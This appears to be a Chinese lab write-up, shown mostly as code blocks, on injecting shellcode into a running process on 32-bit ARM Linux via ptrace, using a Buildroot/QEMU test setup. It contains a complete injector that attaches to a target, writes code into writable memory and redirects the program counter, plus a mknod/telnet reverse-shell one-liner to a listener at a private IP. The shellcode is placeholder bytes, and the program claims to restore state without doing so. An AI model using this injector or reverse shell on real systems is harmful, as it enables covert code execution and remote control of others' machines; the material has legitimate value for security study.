基于armv7l架构的进程注入研究——使用ptrace注入shellcode

long ptrace(enum __ptrace_request request, pid_t pid, void *addr, void *data);

ptrace(PTRACE_ATTACH, pid, NULL, NULL);

pid_t waitpid(pid_t pid,int * status,int options);

ptrace(PTRACE_GETREGS, pid, NULL, regs);
ptrace(PTRACE_SETREGS, pid, NULL, regs);

struct pt_regs {
 long uregs[18];
};

#define ARM_cpsr uregs[16]
#define ARM_pc uregs[15]
#define ARM_lr uregs[14]
#define ARM_sp uregs[13]
#define ARM_ip uregs[12]
#define ARM_fp uregs[11]
#define ARM_r10 uregs[10]
#define ARM_r9 uregs[9]
#define ARM_r8 uregs[8]
#define ARM_r7 uregs[7]
#define ARM_r6 uregs[6]
#define ARM_r5 uregs[5]
#define ARM_r4 uregs[4]
#define ARM_r3 uregs[3]
#define ARM_r2 uregs[2]
#define ARM_r1 uregs[1]
#define ARM_r0 uregs[0]
#define ARM_ORIG_r0 uregs[17]

ptrace(PTRACE_PEEKTEXT, pid, pCurSrcBuf, 0);

ptrace(PTRACE_POKETEXT, pid, pCurDestBuf, lTmpBuf) ;

lTmpBuf = ptrace(PTRACE_PEEKTEXT, pid, pCurDestBuf, NULL); 
memcpy((void *)(&lTmpBuf), pCurSrcBuf, nRemainCount);
ptrace(PTRACE_POKETEXT, pid, pCurDestBuf, lTmpBuf);

for (i = 0; i < num_params && i < 4; i ++) {    
     regs->uregs[i] = parameters[i];    
}    

if (i < num_params) {
    regs->ARM_sp -= (num_params - i) * sizeof(long) ;
    if (ptrace_writedata(pid, (void *)regs->ARM_sp, (uint8_t *)parameters[i], (num_params - i) * sizeof(long))  == -1)
        return -1;
}

if (regs->ARM_pc & 1) {                      /* thumb */
    regs->ARM_pc &= (~1u);
    regs->ARM_cpsr |= CPSR_T_MASK;
} else {                                    /* arm */
    regs->ARM_cpsr &= ~CPSR_T_MASK;
}

void* mmap(void* start, size_t length, int prot, int flags, int fd, off_t offset);
void* dlopen(const char* pathname, int mode);
void* dlsym(void* handle, const char* symbol);
int dlclose(void* handle);

ptrace(PTRACE_SETREGS, traced_process, NULL, &oldregs)

ptrace(PTRACE_DETACH, pid, NULL, 0);

tar xzf buildroot-2022.02.6.tar.gz

cd buildroot-2022.02.6/
ls configs/qemu_arm_ve*
make qemu_arm_vexpress_defconfig
make

tar xjf qemu-6.2.0.tar.bz2

sudo apt-get install ninja-build
sudo apt-get install autoconf
sudo apt-get install libpixman-1-dev
sudo apt-get install libpixman-1-0
sudo apt-get install libsdl1.2-dev
sudo apt-get install libtool
sudo apt-get install libglib2.0-dev

cd qemu-6.2.0/
mkdir build
cd build/
../configure --target-list=arm-softmmu --audio-drv-list=
make -j8
make install

sudo su
apt-get install bridge-utils    # 安装网桥工具
brctl addbr br0
brctl addif br0 ens33
brctl stp br0 on
ifconfig ens33 0
dhclient br0
route

sudo qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/zImage -dtb /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/vexpress-v2p-ca9.dtb -nographic -append "root=/dev/mmcblk0 console=ttyAMA0" -sd /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/rootfs.ext2 -net nic -net tap,ifname=tap1

arminject@arminject-virtual-machine:~/Desktop/test_inject/buildroot-2022.02.6$ sudo qemu-system-arm -M vexpress-a9 -m 512M -kernel /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/zImage -dtb /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/vexpress-v2p-ca9.dtb -nographic -append "root=/dev/mmcblk0 console=ttyAMA0" -sd /home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/rootfs.ext2 -net nic -net tap,ifname=tap1
WARNING: Image format was not specified for '/home/arminject/Desktop/test_inject/buildroot-2022.02.6/output/images/rootfs.ext2' and probing guessed raw.
         Automatically detecting the format is dangerous for raw images, write operations on block 0 will be restricted.
         Specify the 'raw' format explicitly to remove the restrictions.
qemu-system-arm: -net tap,ifname=tap1: network script /usr/local/bin/../etc/qemu-ifup failed with status 256

#!/bin/sh
echo "net up"
switch=br0
ifconfig $1 up
#ip link set $1 up
brctl addif ${switch} $1

sudo chmod 755 qemu-ifup

ifconfig eth0 192.168.184.130 netmask 255.255.255.0 up

sudo python3 -m http.server 80

wget http://server_ip/path_to_file

sudo apt install gcc-arm-linux-gnueabihf

sudo apt install linux-libc-dev-armhf-cross

arm-linux-gnueabihf-gcc -static test.c -o test -I/usr/arm-linux-gnueabihf/include

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#include <asm/ptrace.h>             // 包含32位ARM架构的ptrace定义

int main()
{   pid_t child;
    struct pt_regs regs;            // 使用32位ARM架构的pt_regs结构体
    unsigned long orig_r7;          // 获取R7寄存器值，它通常用于存储系统调用号
    child = fork();
    if(child == 0) {
        ptrace(PTRACE_TRACEME, 0, NULL, NULL);
        execl("/bin/ls", "whoami", NULL);
    }
    else {
        wait(NULL);
        ptrace(PTRACE_GETREGS, child, NULL, &regs);     // 获取系统调用号，需要使用掩码来获取r7的低16位
        orig_r7 = regs.ARM_r7;      // 获取系统调用号
        printf("[!] The child made a system call number %lu\n", orig_r7);
        ptrace(PTRACE_CONT, child, NULL, NULL);
    }
    return 0;
}

nc -lvp 12345

mknod a p; telnet 192.168.184.129 12345 0<a | /bin/sh 1>a &

// arm-linux-gnueabihf-gcc -static victim.c -o victim -I/usr/arm-linux-gnueabihf/include
#include <stdio.h>
#include <unistd.h>

int main() {
    while (1) {
        printf("running\n");
        sleep(1);  // 每隔 1 秒输出一次
    }
    return 0;
}

// arm-linux-gnueabihf-gcc -static inject.c -o inject -I/usr/arm-linux-gnueabihf/include

#include <sys/ptrace.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <sys/user.h>
#include <asm/ptrace.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

// Gets the free memory address of the target process
long freespaceaddr(pid_t pid)
{
    FILE *fp;
    char filename[30];
    char line[256];
    long addr = 0;

    sprintf(filename, "/proc/%d/maps", pid);
    fp = fopen(filename, "r");
    if (fp == NULL)
    {
        printf("fopen error");
        exit(1);
    }

    while (fgets(line, sizeof(line), fp) != NULL)
    {
        if (strstr(line, "rw-p") != NULL)
        { // Found the read-write segment
            sscanf(line, "%lx-%*lx", &addr);
            break;
        }
    }
    fclose(fp);
    return addr;
}

// Reads data from the target process
void getdata(pid_t pid, long addr, void *data, int len)
{
    long *ptr = (long *)data;
    for (int i = 0; i < len; i += sizeof(long))
    {
        *ptr = ptrace(PTRACE_PEEKDATA, pid, addr + i, NULL);
        ptr++;
    }
}

// Writes data to the target process
void putdata(pid_t pid, long addr, void *data, int len)
{
    long *ptr = (long *)data;
    for (int i = 0; i < len; i += sizeof(long))
    {
        ptrace(PTRACE_POKEDATA, pid, addr + i, *ptr);
        ptr++;
    }
}

int main(int argc, char *argv[])
{
    if (argc != 2)
    {
        printf("Usage: %s <pid to be traced>\n", argv[0]);
        exit(1);
    }

    printf("Injection attack ready!\n");
    pid_t traced_process = atoi(argv[1]);
    struct pt_regs regs, oldregs;
    long addr;

    // Shellcode
    char shellcode[] =
        "\x61\x61\x61\x61\x61\x61\x61\x61"
        "\x61\x61\x61\x61\x61\x61\x61\x61"
        "\x61\x61\x61\x61\x61\x61\x61\x00"
        "\x61\x61\x61\x61\x61\x61\x61\x61";
    int len = sizeof(shellcode); // shellcode_length

    // Attach to the target process
    if (ptrace(PTRACE_ATTACH, traced_process, NULL, NULL) == -1)
    {
        printf("PTRACE_ATTACH error");
        exit(1);
    }
    wait(NULL);

    // Gets the current register status
    if (ptrace(PTRACE_GETREGS, traced_process, NULL, &regs) == -1)
    {
        perror("PTRACE_GETREGS failed");
        exit(1);
    }
    printf("Successfully retrieved current register state.\n");

    // Save register status
    memcpy(&oldregs, &regs, sizeof(regs));
    printf("Saved current register state.\n");

    // Find free address
    addr = freespaceaddr(traced_process);
    if (addr == 0)
    {
        fprintf(stderr, "Failed to find a writable memory region.\n");
        exit(1);
    }
    printf("Injecting code at: 0x%lx\n", addr);

    // Back up the original data of the target process
    char backup[len];
    getdata(traced_process, addr, backup, len);
    printf("Successfully backed up %d bytes of original data.\n", len);

    // Inject shellcode
    putdata(traced_process, addr, shellcode, len);
    printf("Injected shellcode into memory.\n"); // *

    // Hijack the target process PC register to point to shellcode
    regs.ARM_pc = addr;
    printf("ARM_pc: 0x%lx\n", regs.ARM_pc);
    if (ptrace(PTRACE_SETREGS, traced_process, NULL, &regs) == -1)
    {
        printf("PTRACE_SETREGS failed");
        exit(1);
    }
    printf("Modified PC register to shellcode address.\n");

    if (ptrace(PTRACE_DETACH, traced_process, NULL, NULL) == -1)
    {
        printf("PTRACE_DETACH failed");
        exit(1);
    }
    printf("Detached from the process.\n");
    printf("Restored original state and detached.\n");
    return 0;
}